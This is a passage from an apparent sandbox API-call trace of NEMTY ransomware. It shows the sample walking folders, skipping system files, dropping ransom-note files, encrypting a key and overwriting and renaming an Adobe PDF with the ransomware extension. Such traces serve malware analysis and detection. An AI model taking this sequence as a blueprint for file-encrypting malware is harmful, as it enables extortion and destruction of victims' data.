returned 0 [0171.671] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.671] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ITA", cAlternateFileName="")) returned 1 [0171.671] lstrcmpiW (lpString1="ITA", lpString2=".") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="..") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="...") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="windows") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="$RECYCLE.BIN") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="rsa") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="NTDETECT.COM") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="ntldr") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="MSDOS.SYS") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="IO.SYS") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="boot.ini") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="boot.ini") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="AUTOEXEC.BAT") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="ntuser.dat") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="desktop.ini") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="CONFIG.SYS") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="RECYCLER") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="BOOTSECT.BAK") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="bootmgr") returned 1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="programdata") returned -1 [0171.672] lstrcmpiW (lpString1="ITA", lpString2="appdata") returned 1 [0171.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ITA", lpUsedDefaultChar=0x0) returned 3 [0171.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.672] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ITA", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ITA", lpUsedDefaultChar=0x0) returned 3 [0171.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.672] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.672] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.673] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.673] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.673] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.673] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.674] CloseHandle (hObject=0x254) returned 1 [0171.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.674] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.675] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.675] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.676] CloseHandle (hObject=0x254) returned 1 [0171.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.676] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19f6df30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f6df30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.677] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.677] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19f6df30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f6df30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.677] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.677] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.677] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10913, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.677] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.678] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.678] Sleep (dwMilliseconds=0x5) [0171.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19fba1f0, dwHighDateTime=0x1d561e8)) [0171.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19fba1f0, dwHighDateTime=0x1d561e8)) [0171.693] GetLastError () returned 0xb7 [0171.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.693] GetLastError () returned 0xb7 [0171.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.693] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.693] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.694] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.694] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="T9pW19cJyqvOe/3XOK5t/VrYWEJJ8I+SBYfm4Czj4jiJVy7Z+qbPqpMWNV3y5ehI\r\nfxV53y/gIQnJjzn1oVkBAijYG7jYgVp1djIXH6W2ymRtldHltlApxfRP9m939RF/\r\nofNe5q29Ffv3wVWOO+Y96mc68SY8GqPtaFln2tP8002LCip7GMLXm5xqPJQQbqNF\r\nKVlsBvvls/hhNRKU3Dw7i3ZBsZfCB0BRl1unemSR5XC+L3YPgsISzKxCDcwxcScR\r\nPLtscBUFGu+nzFsTs87qM3JcDTYcVDL9I/5dVKtgXOiyTZvvbdYxfqyq6PMxWWdW\r\nqDx3bnTcdWguRAELh0H+wQ==\r\n", pcchString=0x653e5dc) returned 1 [0171.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.695] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=67859) returned 1 [0171.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10910) returned 0x6352c48 [0171.695] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.695] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10910, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x10910, lpOverlapped=0x0) returned 1 [0171.701] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.701] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10910, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x10910, lpOverlapped=0x0) returned 1 [0171.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.701] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=67859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10913 [0171.701] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.701] CloseHandle (hObject=0x3b0) returned 1 [0171.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.701] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.702] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0171.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.704] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 